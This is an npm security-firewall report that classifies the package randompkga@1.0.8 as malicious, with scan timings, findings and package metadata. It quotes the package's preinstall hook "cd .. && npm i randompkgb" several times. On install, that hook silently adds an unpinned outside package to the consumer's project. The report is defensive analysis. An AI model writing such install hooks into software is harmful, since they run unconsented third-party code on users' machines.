---
canonical: "https://firewall.lpm.dev/npm/randompkga/v/1.0.8"
markdown: "https://firewall.lpm.dev/npm/randompkga/v/1.0.8.md"
package: "randompkga"
report_status: "published"
title: "randompkga@1.0.8 npm security report"
verdict: "malicious"
version: "1.0.8"
---

# randompkga@1.0.8 npm security report

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## Verdict summary
**Blocked & quarantined** — Unconsented dependency installation and execution in the consumer project; the fetched package controls the subsequent payload.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Install Hook Abuse
- **Selected version:** 1.0.8
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

Installing randompkga runs npm before installation completes. It changes into the consuming project and installs an unrelated, unpinned package.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 98.0%
- **Started:** 2026-08-19T17:25:09.970Z
- **Finished:** 2026-08-19T17:25:34.655Z
- **Download time:** 505 ms
- **Static scan time:** 4 ms
- **AI review time:** 24175 ms
- **Total time:** 24685 ms

## Security analysis

### Published attack-surface review

- **Summary:** Installing randompkga runs npm before installation completes. It changes into the consuming project and installs an unrelated, unpinned package.

- **Trigger:** npm install of randompkga

- **Impact:** Unconsented dependency installation and execution in the consumer project; the fetched package controls the subsequent payload.

- **Evidence paths:** package.json

- **Review source:** ai\_review

- **Reviewed:** 2026-08-19T17:25:34.655Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** preinstall hook installs external randompkgb from the parent directory

- **Attack narrative:** The preinstall hook executes automatically when this package is installed, changes to the parent (consumer) project, and runs npm i randompkgb. This introduces an unpinned external package into the consumer environment without an explicit user action, allowing that package's lifecycle code to execute and mutate the project.

- **Rationale:** The manifest contains a concrete install-time supply-chain action outside its own package directory, with no package functionality to justify it. This is malicious installation behavior rather than a static-label-only finding.

- **Files touched:** package.json, ../package.json, ../node\_modules/randompkgb

### Review decision

- **Verdict:** Malicious

- **Confidence:** 98.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** package.json defines a preinstall hook that executes during installation., The hook leaves the package directory and installs unpinned randompkgb into the parent project.

- **Evidence against:** The extracted package contains only package.json; no additional runtime source or network endpoint is present.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/randompkga@1.0.8/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.preinstall = cd .. && npm i randompkgb
```

### 2. Critical: Red Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 95.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/randompkga@1.0.8/package.json>)

Install-time lifecycle script matches a deterministic static-gate block pattern.

Public source snippet (untrusted):

```json
scripts.preinstall = cd .. && npm i randompkgb
```

### 3. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 4. High: Suspicious Lifecycle Evidence
- **Category:** Manifest
- **Confidence:** 98.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/randompkga@1.0.8/package.json>)

package.json defines a preinstall hook that executes during installation.

Public source snippet (untrusted):

```json
"scripts": {
    "preinstall": "cd .. && npm i randompkgb"
  }
```

### 5. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 98.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/randompkga@1.0.8/package.json>)

The hook leaves the package directory and installs unpinned randompkgb into the parent project.

Public source snippet (untrusted):

```json
"preinstall": "cd .. && npm i randompkgb"
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** preinstall
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** randompkga
- **Ecosystem:** npm
- **Version:** 1.0.8
- **License:** ISC
- **Version published:** 2026-08-19T10:34:50.471Z
- **Package first seen:** 2026-08-19T09:48:32.819Z
- **Package last seen:** 2026-08-19T20:04:19.624Z
- **Known versions:** 16
- **Latest version:** 1.0.22
- **Appeal under review:** No
- **Artifact files:** 1
- **Artifact unpacked size:** 234 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/randompkga/v/1.0.8>)